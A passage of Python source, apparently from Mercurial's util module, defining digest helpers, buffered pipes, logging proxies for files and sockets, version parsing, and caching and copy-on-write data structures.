 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
                             r'mercurial')
     warnings.filterwarnings(r'ignore', r'invalid escape sequence',
                             DeprecationWarning, r'mercurial')
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
                             DeprecationWarning, r'mercurial')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_('unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(_('size mismatch: expected %d, got %d') %
                               (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(_('%s mismatch: expected %s, got %s') %
                                   (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
 
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs)
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs)
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs)
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs)
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs)
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs)
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs)
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs)
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs)
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs)
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs)
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs)
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs)
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs)
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs)
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs)
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs)
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs)
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs)
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, r'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, r'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, r'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs)
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(observer.fh, res, observer.name,
                                      reads=observer.reads,
                                      writes=observer.writes,
                                      logdata=observer.logdata,
                                      logdataapis=observer.logdataapis)
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs)
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs)
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs)
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs)
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs)
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs)
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs)
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs)
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs)
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs)
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs)
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write('\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write('%s>     %s\n'
                               % (self.name, stringutil.escapestr(data)))
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write('%s>     %s\n'
                           % (self.name, stringutil.escapestr(line)))
         self.fh.flush()
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
     def __init__(self, fh, name, reads=True, writes=True, logdata=False,
                  logdataapis=True):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = ''
 
         if size == -1 and res == '':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
                                                       res))
 
         data = dest[0:res] if res is not None else b''
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write('%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedread(%d) -> %d' % (
                 self.name, size, len(res)))
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedreadline() -> %d' % (
                 self.name, len(res)))
 
         self._writedata(res)
 
 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
                           logdata=False, logdataapis=True):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
                                   logdata=logdata, logdataapis=logdataapis)
     return fileobjectproxy(fh, observer)
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
     def __init__(self, fh, name, reads=True, writes=True, states=True,
                  logdata=False, logdataapis=True):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write('%s> makefile(%r, %r)\n' % (
             self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv(%d, %d) -> %d' % (
                 self.name, size, flags, len(res)))
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
                 self.name, size, flags, len(res[0])))
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
                 self.name, size, flags, res[0]))
 
         self._writedata(buf[0:res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv_into(%d, %d) -> %d' % (
                 self.name, size, flags, res))
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write('%s> send(%d, %d) -> %d' % (
             self.name, len(data), flags, len(res)))
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write('%s> sendall(%d, %d)' % (
                 self.name, len(data), flags))
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
                 self.name, len(data), flags, address, res))
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, level, optname, value):
         if not self.states:
             return
 
         self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
             self.name, level, optname, value))
 
 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
                       logdata=False, logdataapis=True):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(logh, name, reads=reads, writes=writes,
                               states=states, logdata=logdata,
                               logdataapis=logdataapis)
     return socketproxy(fh, observer)
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = '', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
